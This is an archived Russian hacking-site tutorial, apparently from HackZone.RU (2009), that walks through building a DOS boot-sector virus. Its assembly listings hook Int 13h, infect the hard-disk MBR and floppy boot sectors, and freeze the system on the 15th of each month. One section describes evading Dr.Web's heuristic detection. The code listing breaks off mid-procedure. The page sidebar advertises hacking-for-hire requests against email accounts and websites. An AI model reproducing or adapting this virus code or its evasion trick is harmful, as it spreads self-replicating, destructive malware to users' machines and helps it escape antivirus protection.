CASINOJOY - Ставка На Успех! Проверь Свою Удачу!


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Несколько слов о загрузочных вирусах
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Поиск ТОП Добавить публикацию

Несколько слов о загрузочных вирусах

23.08.2009

Обращаем внимание, что данная публикация взята из архива.
Возможно, что информация, изложенная здесь, частично устарела

И. Коваль

1.1 Краткие сведения о начальной загрузке персонального компьютера

Для начала следует сказать несколько слов о том, как происходит начальная загрузка ЭВМ.

После проверки аппаратной части компьютера и заполнения таблицы векторов прерываний BIOS пытается прочитать первый сектор нулевой дорожки нулевой стороны диска в дисководе " A ". Этот сектор помещается в память по адресу 0000:7C00h, после чего на указанный адрес передается управление. В прочитанном секторе содержится программа начальной загрузки (BOOT - запись) и некоторые другие сведения, необходимые для доступа к данным на диске. Программа начальной загрузки проверяет, является - ли диск системным. Если это так, то загрузка операционной системы с диска продолжается, а если нет, то на экран выводится сообщение :

Non system disk or disk error
Replace and press any key when ready .

после чего система ожидает действий оператора. Если же диск в " A " - дисководе отсутствует, то программа BIOS считывает первый сектор нулевой дорожки нулевой стороны первого жесткого диска. Он также помещается в память по адресу 0000:7C00h, после чего по указанному адресу передается управление.В прочитанном секторе на жестком диске записана так называемая MBR (главная загрузочная запись). MBR является программой, которая определяет активный раздел жесткого диска, считывает загрузочную запись (BOOT - запись) этого раздела в оперативную память и отдает ей управление. Дальше все происходит, как при загрузке системы с гибкого диска.

Если же программа MBR не нашла активный раздел, то выдается сообщение об отсутствии загрузочных устройств, и система останавливается.

1.2 Понятие о загрузочных вирусах

Загрузочными называют вирусы, способные заражать загрузочные сектора гибких и жестких дисков и получающие управление при попытке " запустить " операционную систему с зараженного диска.

Отметим, что заражение BOOT - секторов дискет является обязательным, иначе вирус просто не сможет распространяться. Кроме того, почти все загрузочные вирусы являются резидентными, что объясняется спецификой их работы.

1.3 Алгоритм работы загрузочного вируса

В этом пункте мы рассмотрим одну из возможных реализаций такого алгоритма. Только условимся, что наш вирус будет заражать загрузочные сектора гибких дисков и Master Boot Record первого жесткого диска. Поэтому можно предложить следующее :

Попав при начальной загрузке машины в память по адресу 0000:7C00h, вирус должен :
1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов памяти ( сколько именно - зависит от длины вирусного кода )
3. Переписать свой код в полученную область памяти
4. Передать управление следующей секции своего кода, уже расположенной в конце основной памяти

Эта секция, в свою очередь, должна :
1. Переопределить вектор прерывания Int 13h на вирусный код
2. Считать настоящий загрузочный сектор в память по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то заразить его MBR
4. Передать управление настоящему загрузочному сектору, находящемуся по адресу 0000:7C00h

Далее загрузка ОС выполняется, как обычно.

Когда система будет загружена, вирус должен заняться заражением BOOT - секторов дискет. С этой целью он делает вот что :
1. При чтении секторов с номерами 2...N нулевой дорожки нулевой стороны диска " A " проверяет BOOT этого диска на зараженность
2. Если диск еще не инфицирован - заражает его
3. Передает управление системному обработчику Int 13h

Под заражением понимают запись вирусного кода в BOOT - сектор дискеты или в MBR винчестера.

Если мы хотим поместить вирус в загрузочный сектор целиком, следует учесть два момента :
1. Собственно программа загрузки в MBR занимает не более, чем 446 байт
2. Программа загрузки в BOOT - секторе дискеты имеет разный размер в разных версиях DOS. В самом " предельном " случае она начинается со смещения 0055h относительно начала сектора.

Отсюда следует очевидный вывод - размер кода вируса не может превышать : 200h - 55h - 02h = 1A9h = = 425 байт! Если вы не выйдете за эту границу, обращение к диску будет происходить корректно.

1.4 Как начинается распространение вируса

Для внедрения загрузочного вируса в компьютер достаточно попробовать загрузиться с зараженной дискеты, которая не обязательно должна быть загрузочной.В этом состоит особенность вирусов этого типа.

1.5 Начало работы

Удобнее всего разрабатывать вирус в виде COM программы. Поэтому :

    prg segment
       assume cs:prg, ds:prg, es:prg, ss:prg
          org 100h
1.6 Вирус получает управление

Загрузочный вирус получает управление только при загрузке операционной системы.Далее он должен "отрезать" у DOS несколько килобайтов памяти и переписать свой код в полученную область. Для выполнения этих функций можно предложить такой фрагмент :

    my_prg:    xor ax, ax             ;
               mov ss, ax             ;
               mov sp, 7bfeh          ;Установка собс-
                                      ;твенного стека
               push ax                ;Сохраним в сте-
               push bx                ;ке используемые
               push cx                ;регистры
               push dx                ;
               push si                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
    sub word ptr ds:[0413h], 2        ;"Отрежем" у DOS
               mov ax, ds:[0413h]     ;два килобайта
               mov cl, 6              ;памяти и вычис-
                                      ;лим
               sal ax, cl             ;сегментный ад-
                                      ;рес, по которому
                                      ;находится полу-
                                      ;ченный блок
               mov es, ax             ;Поместим адрес
                                      ;в ES
               xor si, si             ;И скопируем код
               mov cx, prg_lenght     ;вируса длиной
    prg_copy:  db 8ah                 ;"prg_lenght" в
               db 9ch                 ;память по адре-
    additor    db 00h                 ;су ES : 0000h
               db 7ch                 ;Сам код при за-
               mov byte ptr es:[si],bl;грузке помещае-
               inc si                 ;тся BIOS по ад-
               loop cs:prg_copy       ;ресу 0000:7C00h
                                      ;
               push ax                ;Запишем в стек
               mov ax, to_read_boot   ;адрес ES:to_re-
               push ax                ;ad_boot и осу-
               db 0cbh                ;ществим переход
                                      ;на этот адрес
Поскольку операционная система к моменту начала выполнения этого фрагмента еще не загружена, "увести" у вычислительной системы два килобайта памяти не предсталяет никакого труда. Для этого просто следует уменьшить на два число, расположенное в области данных BIOS по адресу : 0000:0413h .Загрузившись, операционная система просто не будет замечать занятую вирусом память.

Машинный код Машинный код

               db 8ah                 ;
               db 9ch                 ;
    additor    db 00h                 ;
               db 7ch                 ;
является кодом команды "mov bl, byte ptr [si + 7C00h]" и модифицируется в зависимости от того, что именно удалось заразить вирусу - если загрузка происходит с винчестера, то код будет иметь вид :
               db 8ah                 ;
               db 9ch                 ;
    additor    db 00h                 ;
               db 7ch                 ;
а если с дискеты :
               db 8ah                 ;
               db 9ch                 ;
    additor    db 55h                 ;
               db 7ch                 ;
Дело в том, что в MBR жесткого диска тело вируса располагается по смещению 0000h от начала сектора, а в BOOT - записи дискеты это же смещение равно 0055h ( см. п. 1.11 ).При заражении того или иного диска вирус определяет необходимое значение поля " additor", которое потом будет записано в загрузочный сектор. Команда " ret far " для краткости записана в виде машинного кода 0CBh.

1.7 Защита от антивирусных программ

Вероятно, следует рассказать, как решается задача маскировки загрузочного вируса.

После нескольких дней экспериментов было установлено, что при поиске неизвестных загрузочных вирусов DOCTOR WEB пытается определить факт перехвата прерывания INT 13h. Если, по мнению программы, INT 13h было перехвачено, выдается сообщение о возможном наличии неизвестного загрузочного вируса.Отсюда следует очевидный вывод :

Команду, задающую адрес в таблице векторов прерываний или выполняющую модификацию вектора INT 13h, следует зашифровать, и вирус найден не будет !

Однако сделать корректный шифровщик, хорошо работающий на любом процессоре, не так просто. Поэтому задача была решена следующим образом :

               mov si, vvv - 100h     ;
    mov word ptr es:[si], to_new_13h  ;Установим
    mov word ptr es:[si + 2], cs      ;вектор Int 13h
                                      ;на вирусный об-
                                      ;работчик
Как это ни странно, DOCTOR WEB "не догадался", что команда
mov si, vvv - 100h
пересылает в SI число 04Ch, имеющее прямое отношение к вектору прерывания Int 13h.

1.8 Перехватываем Int 13h

Согласно описанному выше алгоритму, настало время перехватить прерывание Int 13h. Итак :

    to_read_boot   equ   $ - my_prg   ;
                                      ;
    read_boot: push cs                ;DS = CS
               pop ds                 ;
                                      ;
               xor si, si             ;SI = 0
               mov es, si             ;ES = SI
                                      ;Получим вектор
                                      ;Int 13h и сох-
                                      ;раним его :
    mov bx, word ptr es:[4ch]         ;
    mov word ptr old_13h - 100h, bx   ;
    mov bx, word ptr es:[4eh]         ;
    mov word ptr old_13h_2 - 100h, bx ;
                                      ;
               mov si, vvv - 100h     ;
    mov word ptr es:[si], to_new_13h  ;И установим
    mov word ptr es:[si + 2], cs      ;вектор Int 13h
                                      ;на вирусный об-
                                      ;работчик
Прерывание здесь перехватывается путем непосредственной модификации вектора в таблице векторов прерываний. Константа " to_read_boot " задает смещение от начала вирусного кода до метки "read_boot", с которой и начинается код, выполняющий переопределение вектора Int 13h на вирусный обработчик.

1.9 Читаем исходную BOOT - запись

Сначала договоримся, где наш вирус будет хранить настоящую загрузочную запись ( BOOT - для дискет или MBR - для жестких дисков ).

Обычно на нулевой дорожке нулевой стороны винчестера используется только самый первый сектор. Поэтому естественно сохранить MBR в одном из секторов нулевой дорожки.Нас заинтересовал сектор с номером 12, но можно было бы взять и любой другой.Оптимальный номер - не выше двадцати.

Для дискет оригинальную BOOT - запись проще всего записывать в последний сектор последней дорожки на первой стороне заражаемого диска .

Для того, чтобы с зараженного диска можно было загрузиться, вирус должен считать исходную загрузочную запись в память по адресу : 0000:7C00h и после выполнения необходимых действий передать ей управление :

              mov dx, num_head - 100h ;Считаем настоя-
              mov cx, cyl_sect - 100h ;щий загрузочный
              mov bx, 7c00h           ;сектор в память
              mov ax, 0201h           ;по адресу
              int 13h                 ;0000:7C00h
В приведенном фрагменте задействованы ячейки памяти :
    num_head   dw   0                 ;Здесь вирус
    cyl_sect   dw   0                 ;хранит номер
                                      ;головки, дорожки
                                      ;и сектора зара-
                                      ;женного диска , 
                                      ;в которых запи-
                                      ;сана настоящая
                                      ;загрузочная
                                      ;запись .
Несколько позже мы разберемся, как определяются помещаемые в них значения.

1.10 Заражаем MBR винчестера

Следуя алгоритму, настало время проверить, заражена - ли MBR первого жесткого диска, и если нет - заразить ее. Поэтому приступим к делу :

               push cs                ;ES = CS
               pop es                 ;
                                      ;
               mov dl, 0080h          ;Считаем MBR
               call cs:read_mbr       ;винчестера
               jc cs:to_quit          ;по адресу
                                      ;CS:0400h,  при-
                                      ;чем загрузка
                                      ;сейчас может
                                      ;производиться
                                      ;и с дискеты !
    cmp byte ptr ds:[400h], 33h       ;MBR уже зара-
               je cs:to_quit          ;жена ?
                                      ;
               mov dx, 0080h          ;Нулевая головка
                                      ;первого жестко-
                                      ;го диска
               mov cx, 000ch          ;Сектор 12, 
                                      ;дорожка 0
               mov dl_save - 100h, dl ;
                                      ;Сохраним эти
                                      ;параметры .
               call cs:write_mbr_last ;Кроме того, 
                                      ;перепишем нас-
                                      ;тоящую MBR в
                                      ;сектор 12
               jc cs:to_quit          ;нулевой дорожки
                                      ;на нулевой сто-
                                      ;роне HDD .
               xor si, si             ;Сформируем код
               mov additor - 100h, 00h;для записи его
               mov cx, prg_lenght     ;
    copy_vir_mbr:                     ;на место исход-
               mov al,byte ptr ds:[si];ной MBR
    mov byte ptr ds:[si + 400h], al   ;
               inc si                 ;
               loop cs:copy_vir_mbr   ;
                                      ;
               mov dx, 0080h          ;Запишем этот
               call cs:write_mbr      ;код в первый
                                      ;сектор нулевой
                                      ;дорожки нулевой
                                      ;стороны винчес-
                                      ;тера
    to_quit:   mov ah, 04h            ;Наш
               int 1ah                ;вирус при
               jc cs:bad_clock        ;загрузке по
               cmp dl, 15h            ;15 - м числам
    vis:       je cs:vis              ;вешает систему
    bad_clock: popf                   ;Восстановим из
               pop es                 ;стека
               pop ds                 ;регистры
               pop si                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
                                      ;
               db   0eah              ;И отдадим упра-
               dw   7c00h             ;вление настоя-
               dw   0000h             ;щей загрузочной
                                      ;записи ( MBR )
Вирус записывает свой код в младшие 512 байт первого " отрезанного " у DOS килобайта, а MBR винчестера считывает в младшие 512 байт второго килобайта. Так сделано для большей понятности программы . Процедура " read_mbr " читает сектор 1 дорожки 0 на нулевой стороне указанного диска.

Процедура " write_mbr " записывает данные из буфера по адресу : CS:0400h в сектор 1 дорожки 0 на нулевой стороне указанного диска.

Процедура " write_mbr_last " записывает данные из буфера по адресу : CS:0400h в заданный сектор того или иного диска и заполняет ячейки памяти :
num_head
и cyl_sect.

Для проверки зараженности MBR вирус сравнивает ее первый байт с первым байтом своего кода - числом 33h.

Далее, в поле " additor " заносится число 00h, необходимое для корректной загрузки с винчестера.

Стоит отметить, что заражение MBR происходит исключительно при загрузке с зараженной дискеты. Когда операционная система будет загружена, вирус будет инфицировать только гибкие диски при попытке прочитать их содержимое.

1.11 Пишем обработчик прерывания Int 13h

Займемся разработкой вирусного обработчика прерывания Int 13h.

Пусть заражение будет выполняться в том случае, если происходит чтение любого сектора нулевой дорожки нулевой стороны, кроме первого.Исходя из этого, можно записать :

                                      ;Далее следует
                                      ;вирусный обра-
                                      ;ботчик Int 13h
    to_new_13h equ   $ - my_prg       ;
                                      ;
    new_13h:   pushf                  ;Сохраним флаги
               cmp dl, 01h            ;Операция с дис-
                                      ;ководом " A "
                                      ;или " B " ?
               ja cs:to_sys_13h       ;Нет !
               cmp ah, 02h            ;Чтение ?
               jne cs:to_sys_13h      ;Нет !
               cmp ch, 00h            ;Дорожка " 0 " ?
               jne cs:to_sys_13h      ;Нет !
               cmp cl, 01h            ;Сектор-первый ?
               je cs:to_sys_13h       ;Да !
               call cs:boot_infect    ;Вызовем проце-
                                      ;дуру заражения
                                      ;BOOT - секторов
                                      ;дискет
    to_sys_13h:                       ;
               popf                   ;Восстановим
                                      ;флаги
               db 0eah                ;Перейдем к сис-
    old_13h    dw 0                   ;темному обра-
    old_13h_2  dw 0                   ;ботчику Int 13h
Обратите внимание, что при чтении секторов 2...N нулевой дорожки нулевой стороны дискеты управление передается процедуре " boot_infect ", которая занимается заражением гибких дисков.

Для передачи управления системному обработчику Int 13h используется обычная команда далекого перехода, записанная в виде машинной инструкции.

Теперь разработаем процедуру " boot_infect ", заражающую дискеты :

    boot_infect proc                  ;
               push ax                ;Сохраним реги-
               push bx                ;стры в стеке
               push cx                ;прерванного
               push dx                ;процесса
               push di                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               push cs                ;ES = CS
               pop es                 ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               mov cx, 3              ;Попробуем про-
    next_read: push cx                ;честь BOOT -
                                      ;сектор дискеты.
               call cs:read_mbr       ;На это даем три
               pop cx                 ;попытки (напри-
               jnc cs:inf_check       ;мер, если двига-
                                      ;тель дисковода
                                      ;не успел разо-
                                      ;гнаться до ра-
                                      ;бочей скорости, 
                                      ;то BIOS вернет
                                      ;ошибку -дискета
                                      ;сменена ! )
               xor ah, ah             ;При ошибке -
               pushf                  ;сбросим текущий
    call dword ptr old_13h - 100h     ;дисковод
               jc cs:to_jump          ;и повторим
               loop cs:next_read      ;чтение
    to_jump:   jmp cs:restore_regs    ;
                                      ;BOOT - сектор
                                      ;заражен ?
    inf_check: cmp byte ptr ds:[455h],33h
               je cs:to_jump          ;Да !
    cmp word ptr ds:[40bh], 200h      ;512 байт в
                                      ;секторе ?
               jne cs:to_jump         ;Нет !
                                      ;
               mov dl_save - 100h, dl
               mov ch, 79             ;Определим
               mov dh, byte ptr ds:[415h]
               cmp dh, 0f0h           ;параметры
               je cs:real_80          ;дискеты
               cmp dh, 0f9h           ;по ее
               je cs:real_80          ;Media
               cmp dh, 0fdh           ;Descryptor
               jne cs:to_jump         ;
               mov ch, 39             ;
    real_80:   mov dh, 01h            ;
               mov cl, byte ptr ds:[418h]
                                      ;Перепишем нас-
                                      ;тоящий BOOT в
                                      ;последний сек-
                                      ;тор последней
                                      ;дорожки на пос-
                                      ;ледней стороне
               xor dl, dl             ;
               call cs:write_mbr_last ;
               jc cs:to_jump          ;
                                      ;
               mov additor - 100h,055h;Сформируем код, 
               xor di, di             ;который нужно
               mov cx,prg_lenght      ;записать на
    copy_vir:  mov al,byte ptr ds:[di];дискету вместо
    mov byte ptr ds:[di + 455h], al   ;исходной BOOT -
               inc di                 ;записи
               loop cs:copy_vir       ;
    mov word ptr ds:[400h], 053ebh    ;
                                      ;
               xor dh, dh             ;И запишем его
               call cs:write_mbr      ;в первый
                                      ;сектор нулевой
                                      ;дорожки нулевой
                                      ;стороны дискеты
                                      ;
    restore_regs:                     ;Восстановим из
               popf                   ;стека регистры
               pop es                 ;
               pop ds                 ;
               pop di                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
               ret                    ;Выйдем из про-
                                      ;цедуры
    boot_infect endp                  ;
Несколько раньше мы выяснили, что для разных версий MS DOS и WINDOWS программа начальной загрузки в BOOT - секторе дискеты располагается по разным смещениям.

Наибольшим смещением, с которым вы когда-либо можете встретиться, является 0055h. Поэтому наш вирус будет помещать в BOOT - сектор свой код, ориентируясь именно на приведенное значение. Тогда в первые два байта сектора должна быть записана команда перехода на начало этого кода, а именно : " EB 53 ". И последнее - вирус определяет параметры заражаемой дискеты исходя из ее Media Descryptor.

1.12 Используемые процедуры

Осталось лишь привести тексты процедур, которые наш вирус будет использовать в своей работе :

    read_mbr   proc                   ;
               xor dh, dh             ;
               mov ax, 0201h          ;Процедура
               mov bx, 400h           ;читает первый
               mov cx, 01h            ;сектор нулевой
               pushf                  ;дорожки нулевой
    call dword ptr old_13h - 100h     ;стороны указан-
               ret                    ;ного накопителя
    read_mbr   endp                   ;
                                      ;
    write_mbr proc                    ;
               mov ax, 0301h          ;Процедура
               mov cx, 01h            ;помещает вирус-
               pushf                  ;ный код в BOOT-
    call dword ptr old_13h - 100h     ;сектор дискеты
               ret                    ;или записывает
    write_mbr  endp                   ;его вместо MBR
                                      ;винчестера
                                      ;
    write_mbr_last proc               ;Процедура
                                      ;переписывает
                                      ;исходную BOOT-
                    

При копировании материалов ссылка на HackZone.RU обязательна

Добавить страницу в закладки

 Детали
Категория: Архив
Опубликовал: DiMan
Просмотров: 14646
Проголосовало через SMS: 0
Ключевые слова: boot virus, (найти похожие документы)
  Разместить у себя на сайте
Прямая ссылка
HTML
BBCode ссылка
BBCode ссылка с текстом

 Комментарии (оставить свой комментарий можно здесь)
Желающие понять все ето....
Должны хоть чуток владеть или знать Assembler
13.09.2009 / Akelte
ого несколько слов
30.10.2010 / heroes161rus
Только зарегистрированные пользователи могут оставлять комментарии

Зарегистрироваться *** Авторизоваться


 Последние новости и статьи  Последние сообщения с форумов
  • Уязвимость ProxyToken позволяет воровать почту через Microsoft Ex...
  • T-Mobile взломали через уязвимый роутер
  • Ботнет Phorpiex прекратил работу, его исходный код выставлен на п...
  • Критическая уязвимость в Cosmos DB
  • Исследователи научились обходить PIN-коды для карт Mastercard и M...
  • WhatsApp уверяет пользователей, что Facebook не имеет доступа к и...
  • Однострочная команда в Windows 10 может повредить жесткий диск с ...
  • Кардерский форум Joker’s Stash объявил о закрытии
  • Релиз ядра Linux 5.9
  • Российские хакеры вооружились уязвимостью Zerologon

    Все новости... Все статьи... Прислать новость RSS
  • Взлом и безопасность / Программы » Re: Hasp ключ для ABC-4
  • Портал / Отзывы и предложения » Предлагаем партнерство вашему форуму.
  • Разное / Предложения работы » взлом почты
  • Разное / Предложения работы » Сервис Postman - 500 руб за получение писем и 10€ за пересыл...
  • Разное / Куплю, приму в дар » Покупка аккаунтов Uphold
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Взлом и безопасность / Новичкам » Re: Помогите взломать gmail.com

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}